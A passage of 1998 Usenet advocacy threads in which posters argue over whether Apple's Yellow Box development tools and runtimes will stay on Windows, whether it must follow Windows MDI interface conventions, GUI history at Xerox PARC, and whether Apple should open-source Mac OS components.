> > rather moot anyway. (It looks like Apple will continue YB on Windows given
> > it's attempts to get a free runtime which would mean the scrapping of DPS
> > for "EQD" just as in Mac OS X.)
>
> It's a fair bet YB on Windows runtimes will exist. There is no public
> evidence to suggest that the development tools will continue to be
> developed for Windows. You need to seriously re-evaluate your thoughts
> on how YB will help bring Windows software to the Mac. Not going to
> happen.
Well, it very well might not, but that would be an issue of how developers
see the YB as a development environment and tool rather than its cross
platform capabilities I should think.
> Apple's strategy has always been "create it on the Mac, deploy it on
> Windows". That's the QuickTime strategy, and it serves as the model for
> all of Apple's so-called "cross-platform" efforts. Apple has no
> intention of actually participating in a cross-platform model.
I believe that Quicktime 3 gives Windows tools for creation on Windows. How
does that fit with this alleged strategy? How about Apple's push of 100%
Java 'n all for YB (which there is a Windows implementation of)?
Ryan Tokarek
<pulsar@springnet1.com>
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 12:34:44 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2809981234440001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <6uog03$s80$2@nnrp02.primenet.com>
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In article <6uog03$s80$2@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Pulsar <pulsar@springnet1.com> wrote:
> : YB is truly cross platform in that the same code base will produce working
> : applications that are functionally the same. YB is not truly cross platform
> : in that the interface wholly takes on the aspect of the OS it's been
> : compiled and run on. You may see that difference as irrelevant or perhaps
> : less significant than I do.
>
> Which YB apps are you running? I'd like to try them under NT and see how
> they do. Do you have URLs?
I'm not. I'm going by the few screen shots I've seen and the descriptions
that I've heard. If those are in error or are incomplete, then obviously I
would need to adjust my argument appropriately.
I'm not sure I can point to any URLs since I haven't looked into any of
that for several months. I don't know where I'd start except perhaps for
www.stepwise.com.
Ryan Tokarek
<pulsar@springnet1.com>
Message-ID: <3610635C.ED674DC2@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu> <360FBF7B.C2A1CAEE@ericsson.com> <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu>
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NNTP-Posting-Date: Tue, 29 Sep 1998 00:35:45 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 28 Sep 1998 23:34:36 -0500
Pulsar wrote:
> Except where the design of the application is such that it deals with
> multiple documents at once. In that case SDI enforced over an MDI design
> would be _wrong_ and _bad_. The way Windows handles multiple documents for
> a single application is called Multiple Document Interface. This is a
> _Windows_ inherent design limitation. Apple cannot get around it without
> blatantly defying Windows UI guidelines.
I don't know what you're talking about, and I doubt you do, either, at
this point. MDI is provided as a convenience for handling multiple
documents. If you want to handle each document window separately
yourself (or your application framework is capable of it, as Yellow Box
could be), you're free to use whatever metaphor is most appropriate for
your application.
> Would it be better for a Windows user to have good dialogs sometimes or to
> have consistent dialogs? It's up to Apple's discretion, but if it breaks
> too many Windows-isms, people will not even accept the YB despite the fact
> that it may be better.
Oh, right. Just like people don't accept the way Microsoft Office
applications blatantly break "Windows-isms" with every release. Baloney.
> As far as being able to do it, yes. As far as trying to create a
> programming environment that produces applications that fit the Windows
> user environment, _absolutely_not_!
What is getting you so excited about the Windows UI guidelines? I don't
know of a single Windows app on my computer that adheres 100% to the
Windows UI guidelines. Windows developers strive to write popular apps,
not rigidly compliant apps. Try using some Windows software some time;
it will open your mind. I'm not going to say that Windows apps openly
flout the guidelines; I'm saying that adherence to UI guidelines doesn't
appear in software reviews the way it does for MacOS programs. Sometimes
a new (and technically illegal) interface is highly acclaimed. I've
already used WinAmp as an example.
> Netscape Navigator does not need MDI! Not _all_ applications do!
Precisely.
> Try an
> obscure program like Microsoft Developer Studio. Heh. It's MDI. How about
> Word? Well, the user can use it as an SDI app, but MDI is available there
> too.
Precisely.
> These are not obscure and they are written by MICROSOFT! As bad as
> Microsfoft is at following it's own UI guidelines, for _Apple_ to ignore
> them would be so much worse.
Hey, are you a Windows user? Who are you to say what is acceptable or
not? Personally, I like innovative interfaces. I don't give a rip about
adherence to some arbitrary set of guidelines insofar as they inhibit
effectiveness. Claiming that Apple has a moral imperative to adhere to
guidelines to support your argument that this would make YB on Windows
*WORSE* is total crapola. I can't believe I'm hearing this.
You want to have your argument both ways, eh? This is going nowhere.
MJP
Message-ID: <361064C1.419A082F@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com>
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NNTP-Posting-Date: Tue, 29 Sep 1998 00:41:42 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 28 Sep 1998 23:40:33 -0500
Sal Denaro wrote:
> http://premium.microsoft.com/msdn/library/
>
> You have to register (and stash about 30 cookies onto your harddrive) but
> afterwards, you'll have access to just about _everything_ you might want
> to know about NT.
I have a registration with the Developer's Library. What I'm looking for
is a reference to support the claim that YB for Windows will generate
logo-able Windows apps.
> Adobe would not provide Apple with a flat-rate DPS runtime fee. To avoid
> this fee Apple had to remove the PS language from its window server.
The Rhapsody FAQ explains that not all runtime fees have been removed...
> > It doesn't
> >take any work to remove the licensing fee; it only takes work to replace
> >the lost, now-unlicensed technology.
>
> The technology is still licensed and is not lost. Apple can include it
> if they want. They choose not to, since it requires a license fee that
> developers end up having to pass on to customers.
[sigh] You're avoiding the point. Again.
[cut]
> >If you like. I'm supposed to take Apple committments as evidence for
> >something?
>
> Huh? You stated:
>
> On Mon, 28 Sep 1998 11:50:44 -0500,
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> >It's a fair bet YB on Windows runtimes will exist. There is no public
> >evidence to suggest that the development tools will continue to be
> >developed for Windows.
>
> I posted this:
>
> >> From: http://gemma.apple.com/macosx/server/rhapfaq/5.html#5.2
> >>
> >> Will the Yellow Box continue to be available on Windows?
> >> Yes. Cross-platform development is the key feature of the Yellow Box.
>
> If you do not take this as public evidence of intent, then *what* do you
> want? A sworn oath signed in blood?
Salvatore, you need to read the thread more carefully. There has already
been a clear distinction made between the YB runtimes for Windows and
the *developer tools* for Windows. Somehow, you must have passed over
that, or just misunderstood it, or completely ignored it, or something.
Anyway, as you've already quoted:
I posted this:
> There is no public evidence to suggest that the development tools
> will continue to be developed for Windows.
</quote>
> I can provide links to statements by Steve Jobs, Avie Tevanian and Ken
> Bereskin all stating that YB is Apple's Cross-platform development
> product. Is that to more to your taste?
Uh, no. YB runtimes, development tools. Two different items. Think
carefully before you post a response.
MJP
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
References: <36099217.345010578@news.newsguy.com> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu> <360FBF7B.C2A1CAEE@ericsson.com> <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu>
Message-ID: <36106cf1.0@news.depaul.edu>
Date: 29 Sep 98 05:15:29 GMT
In comp.sys.next.advocacy Pulsar <pulsar@springnet1.com> wrote:
> In article <360FBF7B.C2A1CAEE@ericsson.com>, Michael Peck
> <Michael.Peck@ericsson.com> wrote:
> > Pulsar wrote:
> >
> > > MDI!
> >
> > There is literally nothing stopping Apple from using SDI as the basis
> > for a document-per-window interface when implementing the Yellow Box on
> > Windows.
> Except where the design of the application is such that it deals with
> multiple documents at once. In that case SDI enforced over an MDI design
> would be _wrong_ and _bad_. The way Windows handles multiple documents for
> a single application is called Multiple Document Interface. This is a
> _Windows_ inherent design limitation. Apple cannot get around it without
> blatantly defying Windows UI guidelines.
This is not a design limitation of Windows. MDI is not enforced,
and Microsoft even lists a bunch of *problems* with MDI, and they
list a number of alternate arrangements that may be preferable.
This is in the Windows Interface Guidelines, 1995.
Microsoft refers to MDI as 'a way to manage a set of related windows'
when the taskbar alone is insufficient. They then suggest other
approaches. Hardly a 'UI standard'.
<snip>
> Netscape Navigator does not need MDI! Not _all_ applications do! Try an
> obscure program like Microsoft Developer Studio. Heh. It's MDI. How about
> Word? Well, the user can use it as an SDI app, but MDI is available there
> too. These are not obscure and they are written by MICROSOFT! As bad as
> Microsfoft is at following it's own UI guidelines, for _Apple_ to ignore
> them would be so much worse.
If Apple ignores MDI, they would be following the UI guidelines,
assuming they come up with a better alternative for window management,
which is not a hard thing to do.
One of Microsoft's suggestions is something called a 'workspace', which
seems to describe the approach taken by Apple's MailViewer and
InterfaceBuilder (on Windows) as well as Borland's Delphi (if I
recall correctly). A workspace needn't be a window containing the
other windows. It just has to control their visibility - minimize the
workspace, and all its windows are hidden. In this case, a workspace
is rather like a NeXTSTEP application. In the case of InterfaceBuilder
on Windows, the 'main' window of the workspace is the Palette window.
In Delphi, there's a narrow window that contains the menu, toolbar,
and component palette.
In the end, Microsoft doesn't have *any* firm rules. They close
by suggesting that developers mix-n-match from their suggested
arrangements.
There's a major reason why Microsoft would cling to MDI: it
hides everyone else's applications, so all you see are Middensoft
apps. ;^)
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net>
Message-ID: <36106dd5.0@news.depaul.edu>
Date: 29 Sep 98 05:19:17 GMT
In comp.sys.next.advocacy Michael Peck <mjpeck@nstar.net> wrote:
> Uh, no. YB runtimes, development tools. Two different items. Think
> carefully before you post a response.
The YB/Windows development tools use the Microsoft linker (with
gcc). I don't think you'll see the MS linker on MacOS/X anytime
soon. Therfore, development tools must be on Windows, in order
to produce Windows binaries.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 29 Sep 1998 03:47:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6upl8e$674@news1.panix.com>
References: <36099217.345010578@news.newsguy.com> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <6up4j3$17d@news1.panix.com> <36101efb.0@news.depaul.edu>
On 28 Sep 98 23:42:51 GMT, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>In comp.sys.next.advocacy Sal Denaro <sal@panix.com> wrote:
>> (This is assuming that Apple makes good on its promise of shipping
>> all the libs needed for cross compile on both platforms. If not, the
>> programmer will have to ftp the source over to a Mac running OSX
>> and recompile)
>I don't believe Apple ever promised that.
I may be wrong on this, but I swear I heard this from an Apple person
at a WO developer meeting.
He _might_ have been talking about Metrowork's compiler when they said
that; but, I could swear that they mentioned that PB on MacOSX would be
able to create an NT exe and vise versa.
Does anyone know the magic word needed to summon Mike Paquette?
Is is xyzzy or plugh?
>Also, they don't need to ftp. OS/X Server, and probably OS/X,
>should be able to export directories as Windows SMB shares. The
>Windows box can mount the source code directory that way.
Or the other way around.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 29 Sep 1998 03:31:55 GMT
Organization: Digital Fix Development
Message-ID: <6upkbb$9uk$1@news.digifix.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <01bde8ce$a41330b0$06387880@chewy> <cclark1-2509982244220001@cx315219-a.omhan1.ne.home.com> <01bdeb2b$84cd9ab0$06387880@chewy>
In-Reply-To: <01bdeb2b$84cd9ab0$06387880@chewy>
On 09/28/98, "Todd Heberlein (todd at NetSQ dot com)" wrote:
>Cherie Clark <cclark1@home.com> wrote
>>> o Experiment - if MacOS X for Intel does well, and it appears
>>> to grow their market (as opposed to cannibalize Mac hardware
>>> sales), they may continue the support in the future.
>>
>> I believe Rhapsody will be cross platform and of course there
>> is always Openstep.
>
>Rhapsody is dead and has been replaced by MacOS X.
This is misleading... Mac OS X is effectively Mac OS X Server
2.0.
>
>Yes, OPENSTEP (YellowBox for Windows) will be available for NT on
>Intel, but I believe the point of this thread is why is Apple
>abandoning an OS (a full OS) for the dominant hardware platform on
the
>planet.
(I'm just requoting this to clarify the fact that YB/Win is
sticking around....)
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
Date: Mon, 28 Sep 1998 09:01:00 -0500
Organization: none
Message-ID: <tim-2809980901010001@jump-tnt-0163.customer.jump.net>
References: <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <B23485B6-394A2@206.165.43.157>
In article <B23485B6-394A2@206.165.43.157>, "Lawson English"
<english@primenet.com> wrote:
| Raskin got Jobs to visit PARC in order to see a working system
| that used human-centric/bitmapped interface-design.
To see for yourself what one of those systems looked like, get a copy of
"Squeak", an open-source release of the original Smalltalk-80 from PARC
(along with a lot of significant additions, but the basic UI is still very
similar). Way back then it had:
overlapping windows
pop-up menus
retractable scroll bars (save area)
active scrolling
proportional scroll bars
<http://squeak.cs.uiuc.edu/>
--
-- Tim Olson
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 22:05:54 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu> <360FBF7B.C2A1CAEE@ericsson.com>
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In article <360FBF7B.C2A1CAEE@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Pulsar wrote:
>
> > MDI!
>
> There is literally nothing stopping Apple from using SDI as the basis
> for a document-per-window interface when implementing the Yellow Box on
> Windows.
Except where the design of the application is such that it deals with
multiple documents at once. In that case SDI enforced over an MDI design
would be _wrong_ and _bad_. The way Windows handles multiple documents for
a single application is called Multiple Document Interface. This is a
_Windows_ inherent design limitation. Apple cannot get around it without
blatantly defying Windows UI guidelines.
> > > Am I mistaken, or does YB use Navigation Services for these things?
> >
> > On the Mac I should think. On Windows? I don't know.
>
> Exactly the point. It could, but it might not. Entirely up to Apple's
> discretion.
Would it be better for a Windows user to have good dialogs sometimes or to
have consistent dialogs? It's up to Apple's discretion, but if it breaks
too many Windows-isms, people will not even accept the YB despite the fact
that it may be better.
> > AFAIK, YB on Windows
> > uses the standard Windows Open/Save dialogs and such.
>
> Entirely up to Apple's discretion.
As far as being able to do it, yes. As far as trying to create a
programming environment that produces applications that fit the Windows
user environment, _absolutely_not_!
> > > Widget appearance is adopted from the parent OS. As far as I can tell
> > > 95% of the behavior of all GUI items is dictated by Yellow Box.
> >
> > How much of that has been reworked for the YB on Windows version to match
> > Windows behaviors?
>
> What behaviors? Like MDI? I suggest you try running an obscure program
> called "Netscape Navigator", which does not use the MDI.
Netscape Navigator does not need MDI! Not _all_ applications do! Try an
obscure program like Microsoft Developer Studio. Heh. It's MDI. How about
Word? Well, the user can use it as an SDI app, but MDI is available there
too. These are not obscure and they are written by MICROSOFT! As bad as
Microsfoft is at following it's own UI guidelines, for _Apple_ to ignore
them would be so much worse.
Ryan Tokarek
<pulsar@springnet1.com>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a
car.)
Date: 29 Sep 98 05:50:03 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B236258E-142F0@206.165.43.141>
References: <tim-2809980901010001@jump-tnt-0163.customer.jump.net>
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nntp://news.primenet.com/comp.sys.next.advocacy
Tim Olson <tim@jumpnet.com> said:
>In article <B23485B6-394A2@206.165.43.157>, "Lawson English"
><english@primenet.com> wrote:
>
>| Raskin got Jobs to visit PARC in order to see a working system
>| that used human-centric/bitmapped interface-design.
>
>To see for yourself what one of those systems looked like, get a copy of
>"Squeak", an open-source release of the original Smalltalk-80 from PARC
>(along with a lot of significant additions, but the basic UI is still very
>similar). Way back then it had:
>
> overlapping windows
> pop-up menus
> retractable scroll bars (save area)
> active scrolling
> proportional scroll bars
Are you certain that that is what Jobs and Atkinson saw during their first
visit(s)? Seems to me that I recall some controversy over whether Atkinson
copied, or invented/reinvented some of the PARC features with Raskin
crediting Atkinson with inventing things that Horn claims already existed.
Raskin insists that even if PARC had them first, Atkinson didn't know about
them and developed them independently. Pop-DOWN menus come to mind. I think
that Jobs and Atkinson initially saw a much more primitive system then the
finished SmallTalk-80 platform.
I had a chance to see Squeak (if it is what I'm thinking of) running on a
Mac Plus in Dave McClain's office way back when. Right next to the 68000
Sun workstation that he used to help finish writing the Amiga OS. Squeak
broke when we added a larger monitor to the Plus since it *completely*
bypassed the OS, right down to the cursor-handling.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
References: <36099217.345010578@news.newsguy.com> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <6up4j3$17d@news1.panix.com>
Message-ID: <36101efb.0@news.depaul.edu>
Date: 28 Sep 98 23:42:51 GMT
In comp.sys.next.advocacy Sal Denaro <sal@panix.com> wrote:
> On Sun, 27 Sep 1998 20:04:30 -0500,
> Michael J. Peck <mjpeck@nstar.net> wrote:
> >Incidentally, with Rhapsody for Intel disappearing, how, exactly, will
> >developers be writing YB Windows apps and then porting them to the Mac?
> They check off "MacOS X PPC" in some dialog box and recompile.
> (This is assuming that Apple makes good on its promise of shipping
> all the libs needed for cross compile on both platforms. If not, the
> programmer will have to ftp the source over to a Mac running OSX
> and recompile)
I don't believe Apple ever promised that.
Also, they don't need to ftp. OS/X Server, and probably OS/X,
should be able to export directories as Windows SMB shares. The
Windows box can mount the source code directory that way.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Message-ID: <36111C49.C787143@nospam.com>
From: Tim Triemstra <nospam@nospam.com>
Organization: PM Global Foods, LLC
MIME-Version: 1.0
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com>
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Date: Tue, 29 Sep 1998 17:45:37 GMT
NNTP-Posting-Date: Tue, 29 Sep 1998 13:45:37 EDT
Michael Peck wrote:
>
> I think it's a little late to suddenly agree with this. If the Mac
> community had been clamoring for this 18, or even 12, months ago, maybe
> it would have made a difference and we'd never have seen this laughable
> MacOS X roadmap come about. But if I remember, the shouting went
> something like: "Apple shouldn't focus on portability because it might
> delay shipment of Rhapsody. Apple has to ship Rhapsody on time, that's
> the first priority."
You remember wrong. Many of us were shouting for portability from the
beginning (many of us come from the NeXT community and are only here
from that experience.) We cried how great it would be to have an
Apple-supported Rhapsody on Intel. We cried how much better the apps
could be. We cried how we wouldn't need to rely on Microsoft's OS
anywhere. We were praying to the gods to keep Interface Builder and
Project Builder so we could use a top-notch development platform (not YB
on Windows which is NOT stable) to deploy on many platforms.
Apple rewarded us by making a "release then terminate" plan for Mac OS X
for Intel. F*ck 'em. I am porting my app away from NeXT and will never
program for a Mac as long as Apple has this closed policy. In case they
haven't noticed, computers move to fast for this "we'll make ours good
and eventually make it portable" stance they seem to be making. What's
more, how do you grow your market by making it easier for _existing_
developers who have already left in droves without improving to lure
_new_ developers. Does Apple honestly believe a single developer will
move towards Apple because of Carbon when it is in fact just catch-up to
everyone else and is to be deployed on an even SMALLER market (since it
won't support all the existing Macs which make up a large portion of an
already small market).
Silliness...
--
Tim Triemstra .. TimT 'at' PMGlobal.com .. Atlanta, GA USA
"com.timtr.*" home page: http://www.mindspring.com/~timtr/
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
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Cc: sal@panix.com
Organization: none
References: <36099217.345010578@news.newsguy.com> <6ujsdb$61$1@nnrp1.dejanews.com>
<pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com>
<joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com>
<pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net>
<pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net>
<6up4j3$17d@news1.panix.com> <36101efb.0@news.depaul.edu>
<6upl8e$674@news1.panix.com>
Mime-Version: 1.0
Date: Tue, 29 Sep 1998 19:27:46 GMT
In <6upl8e$674@news1.panix.com> Sal Denaro wrote:
> On 28 Sep 98 23:42:51 GMT, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
> >In comp.sys.next.advocacy Sal Denaro <sal@panix.com> wrote:
> >> (This is assuming that Apple makes good on its promise of shipping
> >> all the libs needed for cross compile on both platforms. If not, the
> >> programmer will have to ftp the source over to a Mac running OSX
> >> and recompile)
> >I don't believe Apple ever promised that.
>
> I may be wrong on this, but I swear I heard this from an Apple person
> at a WO developer meeting.
I heard it basically every day at WWDC. They also noted the eventual goal
was to make it free, if possible, for Windows. Regardless they have this
now, I can't see any particular reason to _remove_ the functionality.
Maury
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: Tue, 29 Sep 1998 18:28:07 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <36115EEA.5778@bellatlantic.net>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu>
<joe.ragosta-2809980629300001@elk33.dol.net> <6uofe5$s80$1@nnrp02.primenet.com>
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John Jensen wrote:
>
> Other than a general increase in mindshare and marketing,
> is there a way for Apple to make a cold hard profit with
> this plan? Would they have to charge for the runtime?
> Or an extra amount for the code generators?
>
> I mean, some people thought the profit margin on clones
> was kind of thin. Compared to handing out free runtime
> packages for competing OSes, clone profits look pretty fat.
>
Finally, someone asking the right questions.
The only way that Apple could be convinced to open source
their software is if it would enhance their core business,
which is selling Macintosh computers. Opening the source
for MacOS (any version) as a whole would just lose them the
one thing they have going -- control of the distinctive
feature of a Macintosh computer. Opening the source for the
micro-kernel underlying Rhapsody/OPENSTEP/OS X just adds
another free OS to an already crowded market, with no
guarantee of success. (I rather think that there would be
a high likelyhood of failure, since Linux and *BSD have
the market pretty well sewed up)
A better idea might be to split MacOS X into two layers:
an upper layer that actaully provides the MacOS services
and GUI, and a lower layer that supports this upper one
with hardware support and basic services. Apple could
either release the source for a version of the low level
stuff (it would run on top of some other OS, such as Mach
or *nix) which folks could improve upon -- this would let
Apple get some benefit out of the open source stuff, in
the form of a more robust low level -- or just release a
spec for the interaction between the low level and the
MacOS upper level.
That's a pretty damn big project, considering the amount
of effort that would need to be put in in order to cull
the low level stuff of any vital Apple IP. Beyond that,
they might lose any lower development cost for the low
level stuff in increased stress on the MacOS due to more
users on a wider variety of platforms.
It's a tricky equation, this open source stuff. It would
have made much more sense for Apple to open source some
of the stuff they outright killed, unless there are many
trade secrets or other vital IP contained in any of those
